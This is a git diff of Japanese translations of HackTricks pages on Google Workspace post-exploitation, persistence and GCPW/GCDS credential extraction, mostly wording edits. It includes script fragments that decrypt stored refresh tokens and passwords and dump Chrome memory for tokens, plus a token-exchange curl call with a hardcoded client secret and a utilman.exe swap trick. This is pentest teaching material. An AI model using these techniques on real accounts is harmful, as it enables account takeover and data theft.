- **ユーザーがGoogleグループに自分のメールボックスへのアクセスを付与できるようにする**オプション:このオプションを使用するには、委任されたアカウントのOUおよび各グループメンバーのOUで有効にする必要があります。このオプションが有効でないOUに属するグループメンバーは、委任されたアカウントにアクセスできません。
|
||||
- **ユーザーが自分のメールボックスへのアクセスをGoogleグループに付与できる**オプション:このオプションを使用するには、委任されたアカウントのOUおよび各グループメンバーのOUで有効にする必要があります。このオプションが有効でないOUに属するグループメンバーは、委任されたアカウントにアクセスできません。
|
||||
- 通常の使用では、40人の委任ユーザーが同時にGmailアカウントにアクセスできます。1人以上の委任者による平均以上の使用は、この数を減少させる可能性があります。
|
||||
- Gmailに頻繁にアクセスする自動化プロセスも、同時にアカウントにアクセスできる委任者の数を減少させる可能性があります。これらのプロセスには、Gmailに頻繁にアクセスするAPIやブラウザ拡張機能が含まれます。
|
||||
- 単一のGmailアカウントは最大1,000のユニークな委任者をサポートします。グループは制限に対して1つの委任者としてカウントされます。
|
||||
@@ -97,21 +97,21 @@ gws-google-platforms-phishing/
|
||||
|
||||
#### ステップ1:ユーザーのGmail委任を有効にする
|
||||
|
||||
**始める前に:**特定のユーザーに設定を適用するには、彼らのアカウントを[組織単位](https://support.google.com/a/topic/1227584)に入れてください。
|
||||
**始める前に:**特定のユーザーに設定を適用するには、彼らのアカウントを[組織単位](https://support.google.com/a/topic/1227584)に配置します。
|
||||
|
||||
1. [サインイン](https://admin.google.com/)して、[Google管理コンソール](https://support.google.com/a/answer/182076)にアクセスします。
|
||||
|
||||
管理者アカウントを使用してサインインしてください。現在のアカウントCarlosPolop@gmail.comではありません。
|
||||
|
||||
2. 管理コンソールで、メニュー  **アプリ****Google Workspace****Gmail****ユーザー設定**に移動します。
|
||||
3. すべての人に設定を適用するには、上部の組織単位を選択したままにします。そうでない場合は、子の[組織単位](https://support.google.com/a/topic/1227584)を選択します。
|
||||
3. すべての人に設定を適用するには、最上位の組織単位を選択したままにします。そうでない場合は、子の[組織単位](https://support.google.com/a/topic/1227584)を選択します。
|
||||
4. **メール委任**をクリックします。
|
||||
5. **ユーザーがドメイン内の他のユーザーに自分のメールボックスへのアクセスを委任できるようにする**ボックスをチェックします。
|
||||
5. **ユーザーがドメイン内の他のユーザーにメールボックスへのアクセスを委任できる**ボックスをチェックします。
|
||||
6. (オプション)ユーザーが自分のアカウントから送信される委任メッセージに含まれる送信者情報を指定できるようにするには、**この設定をカスタマイズできるようにする**ボックスをチェックします。
|
||||
7. 委任者が送信するメッセージに含まれるデフォルトの送信者情報のオプションを選択します:
|
||||
- **アカウント所有者とメールを送信した委任者を表示**—メッセージにはGmailアカウント所有者と委任者のメールアドレスが含まれます。
|
||||
- **アカウント所有者のみを表示**—メッセージにはGmailアカウント所有者のメールアドレスのみが含まれます。委任者のメールアドレスは含まれません。
|
||||
8. (オプション)ユーザーがグループを委任者として追加できるようにするには、**ユーザーがGoogleグループに自分のメールボックスへのアクセスを付与できるようにする**ボックスをチェックします。
|
||||
8. (オプション)ユーザーがグループを委任者として追加できるようにするには、**ユーザーがGoogleグループへのメールボックスアクセスを付与できるようにする**ボックスをチェックします。
|
||||
9. **保存**をクリックします。子の組織単位を設定した場合、親の組織単位の設定を**継承**または**上書き**できる場合があります。
|
||||
10. (オプション)他の組織単位のGmail委任を有効にするには、ステップ3〜9を繰り返します。
|
||||
|
||||
@@ -121,7 +121,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
委任を有効にした後、ユーザーは自分のGmail設定に移動して委任者を割り当てます。委任者はその後、ユーザーの代わりにメッセージを読み、送信し、受信できます。
|
||||
|
||||
詳細については、ユーザーに[メールの委任と共同作業](https://support.google.com/a/users/answer/138350)を参照するように指示してください。
|
||||
詳細については、ユーザーに[メールの委任と共同作業](https://support.google.com/a/users/answer/138350)を参照させてください。
|
||||
|
||||
</details>
|
||||
|
||||
@@ -137,7 +137,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
- 組織内で最大1000人の委任者を追加できます。
|
||||
- 通常の使用では、40人の委任者が同時にGmailアカウントにアクセスできます。
|
||||
- APIやブラウザ拡張機能などの自動化プロセスを使用している場合、数人の委任者が同時にGmailアカウントにアクセスできる場合があります。
|
||||
- 自動化プロセス(APIやブラウザ拡張機能など)を使用している場合、数人の委任者が同時にGmailアカウントにアクセスできます。
|
||||
|
||||
1. コンピュータで[Gmail](https://mail.google.com/)を開きます。Gmailアプリからは委任者を追加できません。
|
||||
2. 右上で設定をクリックします   **すべての設定を表示**をクリックします。
|
||||
@@ -153,7 +153,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
6. **次のステップ**をクリックします  **アクセスを付与するためのメールを送信**します。
|
||||
|
||||
追加した人には確認を求めるメールが届きます。招待は1週間後に期限切れになります。
|
||||
追加した人は確認を求めるメールを受け取ります。招待は1週間後に期限切れになります。
|
||||
|
||||
グループを追加した場合、すべてのグループメンバーは確認なしで委任者になります。
|
||||
|
||||
@@ -163,7 +163,7 @@ gws-google-platforms-phishing/
|
||||
|
||||
## Androidアプリによる持続性
|
||||
|
||||
もしあなたが**被害者のGoogleアカウント内にセッションを持っている場合**、**Playストア**にアクセスし、すでにストアにアップロードした**マルウェアを直接**電話に**インストール**できるかもしれません。これにより持続性を維持し、被害者の電話にアクセスできます。
|
||||
もしあなたが**被害者のGoogleアカウント内にセッションを持っている場合**、**Playストア**にアクセスし、すでにストアにアップロードした**マルウェアを直接**電話に**インストール**して持続性を維持し、被害者の電話にアクセスすることができるかもしれません。
|
||||
|
||||
## **アプリスクリプトによる持続性**
|
||||
|
||||
|
||||
@@ -1,72 +1,72 @@
|
||||
# GWS - ポストエクスプロイト
|
||||
# GWS - Post Exploitation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Google Groups プライベート昇格
|
||||
## Google Groups Privesc
|
||||
|
||||
デフォルトでは、ワークスペース内の**グループ**は組織の任意のメンバーによって**自由にアクセス**できます。\
|
||||
ワークスペースは**グループに権限を付与する**ことも許可しているため(GCP権限も含む)、グループに参加でき、追加の権限がある場合、攻撃者は**その経路を悪用して権限を昇格**させる可能性があります。
|
||||
デフォルトでは、workspace内の**グループ**は組織の任意のメンバーによって**自由にアクセス**できます。\
|
||||
Workspaceは**グループに権限を付与する**ことも許可しているため(GCP権限も含む)、グループに参加でき、追加の権限がある場合、攻撃者は**その経路を悪用して権限を昇格**させる可能性があります。
|
||||
|
||||
組織内の誰でも参加できるグループに参加するには、コンソールへのアクセスが必要な場合があります。グループ情報は[**https://groups.google.com/all-groups**](https://groups.google.com/all-groups)で確認してください。
|
||||
|
||||
### アクセスグループメール情報
|
||||
### Access Groups Mail info
|
||||
|
||||
もし**Googleユーザーセッションを侵害**できた場合、[**https://groups.google.com/all-groups**](https://groups.google.com/all-groups)から、ユーザーがメンバーであるメールグループに送信されたメールの履歴を確認でき、**資格情報**や他の**機密データ**を見つけることができるかもしれません。
|
||||
もし**Googleユーザーセッションを侵害**できた場合、[**https://groups.google.com/all-groups**](https://groups.google.com/all-groups)から、ユーザーがメンバーであるメールグループに送信されたメールの履歴を確認でき、**認証情報**や他の**機密データ**を見つけることができるかもしれません。
|
||||
|
||||
## GCP <--> GWS ピボッティング
|
||||
## GCP <--> GWS Pivoting
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## テイクアウト - アカウントに関するGoogleのすべての情報をダウンロード
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
|
||||
もし**被害者のGoogleアカウント内にセッションがある**場合、[**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)から、そのアカウントに関するGoogleが保存しているすべての情報をダウンロードできます。
|
||||
もし**被害者のGoogleアカウント内にセッションがある**場合、[**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)からそのアカウントに関するすべての情報をダウンロードできます。
|
||||
|
||||
## ボールト - ユーザーのワークスペースデータをすべてダウンロード
|
||||
## Vault - Download all the Workspace data of users
|
||||
|
||||
もし組織が**Google Vaultを有効にしている**場合、[**https://vault.google.com**](https://vault.google.com/u/1/)にアクセスして、すべての**情報**を**ダウンロード**できるかもしれません。
|
||||
|
||||
## 連絡先のダウンロード
|
||||
## Contacts download
|
||||
|
||||
[**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC)から、ユーザーのすべての**連絡先**をダウンロードできます。
|
||||
|
||||
## クラウドサーチ
|
||||
## Cloudsearch
|
||||
|
||||
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com)では、ユーザーがアクセスできる**ワークスペースのすべてのコンテンツ**(メール、ドライブ、サイトなど)を検索できます。機密情報を**迅速に見つける**のに理想的です。
|
||||
[**https://cloudsearch.google.com/**](https://cloudsearch.google.com)では、ユーザーがアクセスできる**すべてのWorkspaceコンテンツ**(メール、ドライブ、サイトなど)を検索できます。機密情報を**迅速に見つける**のに理想的です。
|
||||
|
||||
## Google チャット
|
||||
## Google Chat
|
||||
|
||||
[**https://mail.google.com/chat**](https://mail.google.com/chat)では、Googleの**チャット**にアクセスでき、会話の中に機密情報が含まれているかもしれません(もしあれば)。
|
||||
|
||||
## Google ドライブマイニング
|
||||
## Google Drive Mining
|
||||
|
||||
ドキュメントを**共有**する際、アクセスできる**人々**を一人ずつ**指定**することができますが、**会社全体**(または特定の**グループ**)と**リンクを生成**して共有することもできます。
|
||||
文書を**共有**する際、アクセスできる**人々**を一人ずつ**指定**することができますが、**会社全体**(または特定の**グループ**)と**リンクを生成**して共有することもできます。
|
||||
|
||||
ドキュメントを共有する際、詳細設定でこのファイルを**検索可能にする**こともできます(**デフォルト**では**無効**です)。ただし、ユーザーがドキュメントを表示すると、それは彼らによって検索可能になることに注意が必要です。
|
||||
文書を共有する際、詳細設定でこのファイルを**検索可能にする**こともできます(**デフォルト**では**無効**です)。ただし、ユーザーが文書を表示すると、それは彼らによって検索可能になることに注意が必要です。
|
||||
|
||||
簡単のために、ほとんどの人は一人ずつアクセスできる人を追加するのではなく、リンクを生成して共有します。
|
||||
|
||||
すべてのドキュメントを見つけるための提案された方法:
|
||||
すべての文書を見つけるための提案された方法:
|
||||
|
||||
- 内部チャット、フォーラムで検索...
|
||||
- **スパイダー**既知の**ドキュメント**を検索して他のドキュメントへの**参照**を探す。これは[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)を使ってApp Script内で行うことができます。
|
||||
- **スパイダー**として知られている**文書**を検索し、他の文書への**参照**を探します。これは[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)を使ってApp Script内で行うことができます。
|
||||
|
||||
## **Keep ノート**
|
||||
## **Keep Notes**
|
||||
|
||||
[**https://keep.google.com/**](https://keep.google.com)では、ユーザーのノートにアクセスでき、**機密**の**情報**が保存されているかもしれません。
|
||||
|
||||
### アプリスクリプトの修正
|
||||
### Modify App Scripts
|
||||
|
||||
[**https://script.google.com/**](https://script.google.com/)では、ユーザーのAPPスクリプトを見つけることができます。
|
||||
|
||||
## **ワークスペースの管理**
|
||||
## **Administrate Workspace**
|
||||
|
||||
[**https://admin.google.com**/](https://admin.google.com)では、十分な権限があれば、組織全体のワークスペース設定を変更できるかもしれません。
|
||||
[**https://admin.google.com**/](https://admin.google.com)では、十分な権限があれば、組織全体のWorkspace設定を変更できるかもしれません。
|
||||
|
||||
また、[**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)でユーザーの請求書を検索することでメールを見つけることもできます。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
|
||||
+3
-3
@@ -4,7 +4,7 @@
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
これは、Google Workspaceが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするための**トークン**が保存されます:ディスク、メモリ、レジストリ... **平文のパスワード**を取得することも可能です。
|
||||
これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**自分のWorkspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これはPCのいくつかの場所にGoogle Workspaceにアクセスするための**トークン**を保存します:ディスク、メモリ、レジストリ... **平文のパスワード**を取得することも可能です。
|
||||
|
||||
> [!TIP]
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえも取得できることに注意してください。
|
||||
@@ -32,7 +32,7 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
これは、Googleが提供するバイナリおよびサービスで、**ADとWorkspace間でユーザーのパスワードを同期させる**ためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
|
||||
これは、Googleが提供するバイナリおよびサービスで、**ADとWorkspace間でユーザーのパスワードを同期させる**ためのものです。ユーザーがADでパスワードを変更するたびに、それはGoogleに設定されます。
|
||||
|
||||
`C:\Program Files\Google\Password Sync`にインストールされ、ここで設定するためのバイナリ`PasswordSync.exe`と、実行を続けるサービス`password_sync_service.exe`を見つけることができます。
|
||||
|
||||
@@ -47,7 +47,7 @@ gps-google-password-sync.md
|
||||
|
||||
## Admin Directory Sync
|
||||
|
||||
GCDSを使用してユーザーを同期するこの方法との主な違いは、GCDSはダウンロードして実行する必要があるバイナリを使用して手動で行われるのに対し、**Admin Directory Syncはサーバーレス**で、Googleによって管理されています [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
GCDSを使用してユーザーを同期する方法との主な違いは、GCDSは手動でダウンロードして実行する必要があるバイナリを使用するのに対し、**Admin Directory Syncはサーバーレス**で、Googleによって管理されています [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories)。
|
||||
|
||||
この件に関する詳細情報は以下を参照してください:
|
||||
|
||||
|
||||
+7
-7
@@ -49,11 +49,11 @@
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
注意してください、**refresh** **token** とユーザーの**password**は、**AES CBC**を使用してランダムに生成されたキーとIVで**encrypted**され、**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています(**`prefs`** Javaライブラリが設定を保存する場所)で、文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64で保存されています。
|
||||
**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています(**`prefs`** Javaライブラリが設定を保存する場所)。文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>refresh tokenとpasswordを復号化するためのPowershellスクリプト</summary>
|
||||
<summary>リフレッシュトークンとパスワードを復号化するためのPowershellスクリプト</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -150,13 +150,13 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys` という文字列を検索することで確認できることに注意してください(これは、バイナリ **`upgrade-config.exe`** がキーをダンプするために期待するCLIパラメータです)。
|
||||
> この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認できることに注意してください(これはバイナリ `upgrade-config.exe` がキーをダンプするために期待するCLIパラメータです)。
|
||||
|
||||
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化するためにサイバーシェフを使用することも可能です。
|
||||
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータで使用し、レジストリから **Key** と **IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。
|
||||
|
||||
### GCDS - メモリからのトークンのダンプ
|
||||
|
||||
GCPWと同様に、`config-manager.exe` プロセスのメモリをダンプすることが可能です(これはGCDSのGUIを持つメインバイナリの名前です)ので、リフレッシュトークンとアクセストークンを見つけることができます(すでに生成されている場合)。\
|
||||
GCPWと同様に、`config-manager.exe` プロセスのメモリをダンプすることが可能です(これはGCDSのGUIを持つメインバイナリの名前です)ので、リフレッシュトークンとアクセストークンを見つけることができるでしょう(すでに生成されている場合)。\
|
||||
ADに設定された資格情報も見つけることができると思います。
|
||||
|
||||
<details>
|
||||
@@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GCDS - スコープ
|
||||
|
||||
> [!NOTE]
|
||||
> リフレッシュトークンを持っていても、アクセストークンのためにスコープをリクエストすることはできません。なぜなら、アクセストークンを生成しているアプリケーションでサポートされている**スコープのみをリクエストできる**からです。
|
||||
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、**アクセス トークンを生成しているアプリケーションでサポートされているスコープのみを要求できるからです**。
|
||||
>
|
||||
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
|
||||
|
||||
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
そして、執筆時に得られた出力は次のとおりです:
|
||||
そして、これが執筆時に得られた出力です:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
|
||||
+28
-26
@@ -7,7 +7,7 @@
|
||||
これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。
|
||||
|
||||
> [!TIP]
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報や**トークン**さえ取得できることに注意してください。
|
||||
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえも取得できることに注意してください。
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
@@ -27,17 +27,19 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
|
||||
&device_type=chrome
|
||||
```
|
||||
新しい行が追加されて、より読みやすくなっています。
|
||||
|
||||
> [!NOTE]
|
||||
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動および構成**できます。\
|
||||
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することで、MitMを実行することが可能でした。これにより、**CMD**が実行され、**Proxifierを起動して構成する**ことができます。\
|
||||
> `Proxifier`でQUICK UDPトラフィックを**ブロック**することを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。
|
||||
>
|
||||
> また、「サービスおよび他のユーザー」で両方のオプションを構成し、WindowsにBurp CA証明書をインストールしてください。
|
||||
> また、「サービスおよび他のユーザー」で両方のオプションを設定し、WindowsにBurp CA証明書をインストールしてください。
|
||||
|
||||
さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`と`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。
|
||||
|
||||
### GCPW - フィンガープリント
|
||||
|
||||
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します:
|
||||
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します。
|
||||
```powershell
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
@@ -62,9 +64,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
In **`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
|
||||
**`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
|
||||
|
||||
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、キー `domains_allowed` にログインを許可された **domains** を見つけることができ、サブキー内にはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が見つかります。
|
||||
**`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメールアドレス、写真、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。
|
||||
|
||||
> [!NOTE]
|
||||
> トークンハンドルは `eth.` で始まるトークンで、次のようなリクエストでいくつかの情報を抽出できます:
|
||||
@@ -98,7 +100,7 @@ In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、キー `domains_allowed` に
|
||||
>
|
||||
> 知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することはできません。
|
||||
|
||||
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment`、`enableGcpAutoUpdate`、`enableMultiUserLogin`(複数のユーザーがWorkspaceからコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むjsonです。
|
||||
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment`、`enableGcpAutoUpdate`、`enableMultiUserLogin`(複数のWorkspaceユーザーがコンピュータにログインできるかどうか)や、`validityPeriodDays`(ユーザーがGoogleに直接再認証する必要がない日数)などの異なる **settings** の情報を含むJSONです。
|
||||
|
||||
## GCPW - トークンの取得
|
||||
|
||||
@@ -163,28 +165,28 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
As explained in [**this video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
|
||||
[**このビデオ**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
|
||||
|
||||
### GCPW - ディスクリフレッシュトークン
|
||||
|
||||
ファイル **`%LocalAppData%\Google\Chrome\User Data\Local State`** は、ユーザーの **Google Chrome プロファイル** 内にある **`refresh_tokens`** を復号化するためのキーを保存しています。例えば:
|
||||
ファイル**`%LocalAppData%\Google\Chrome\User Data\Local State`**は、ユーザーの**Google Chromeプロファイル**内にある**`refresh_tokens`**を復号化するためのキーを保存します。例えば:
|
||||
|
||||
- `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
|
||||
- `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
|
||||
|
||||
これらのトークンにアクセスする **C# コード** は [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) で見つけることができます。
|
||||
これらのトークンにアクセスする**C#コード**は、[**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)で復号化された形で見つけることができます。
|
||||
|
||||
さらに、暗号化はこのコードで見つけることができます: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
さらに、暗号化はこのコードで見つけることができます:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
|
||||
|
||||
AESGCM が使用されていることが観察でき、暗号化されたトークンは **バージョン**(この時点では **`v10`**)で始まり、次に [**12B のノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42) があり、最後に **サイファーテキスト** と **16B の MAC** があります。
|
||||
AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのノンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**サイファーテキスト**と**16BのMAC**があります。
|
||||
|
||||
### GCPW - プロセスメモリからのトークンダンプ
|
||||
|
||||
次のスクリプトを使用して、`procdump` を使用してすべての **Chrome** プロセスを **ダンプ** し、**文字列** を抽出し、**アクセストークン** および **リフレッシュトークン** に関連する文字列を **検索** できます。Chrome がいくつかの Google サイトに接続されている場合、いくつかの **プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!**
|
||||
以下のスクリプトを使用して、`procdump`を使用してすべての**Chrome**プロセスを**ダンプ**し、**文字列**を抽出し、**アクセストークン**および**リフレッシュトークン**に関連する文字列を**検索**できます。ChromeがいくつかのGoogleサイトに接続されている場合、いくつかの**プロセスがメモリにリフレッシュおよび/またはアクセストークンを保存しています!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Chrome プロセスをダンプしてトークンを検索</summary>
|
||||
<summary>Chromeプロセスをダンプしてトークンを検索</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -260,11 +262,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
`gcpw_extension.exe`を使って同じことを試みましたが、トークンは見つかりませんでした。
|
||||
|
||||
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ削除する以下のスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
|
||||
何らかの理由で、**抽出されたアクセストークンのいくつかは無効になります(ただし、いくつかは有効です)**。ダンプから有効なトークンを取得するために、1文字ずつ文字を削除するスクリプトを試しました。これで有効なトークンを見つけることはできませんでしたが、もしかしたら役立つかもしれません:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>1文字ずつ削除してアクセストークンを確認する</summary>
|
||||
<summary>1文字ずつ文字を削除してアクセストークンを確認する</summary>
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
@@ -299,7 +301,7 @@ echo "Error: Token invalid or too short"
|
||||
|
||||
### GCPW - リフレッシュトークンからアクセストークンを生成する
|
||||
|
||||
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
|
||||
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
|
||||
```bash
|
||||
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
@@ -310,11 +312,11 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GCPW - スコープ
|
||||
|
||||
> [!NOTE]
|
||||
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、**アクセス トークンを生成しているアプリケーションでサポートされているスコープのみを要求できるからです**。
|
||||
> リフレッシュトークンを持っていても、**アクセストークンを生成しているアプリケーションでサポートされているスコープのみをリクエストできるため、アクセストークンのために任意のスコープをリクエストすることはできません**。
|
||||
>
|
||||
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
|
||||
|
||||
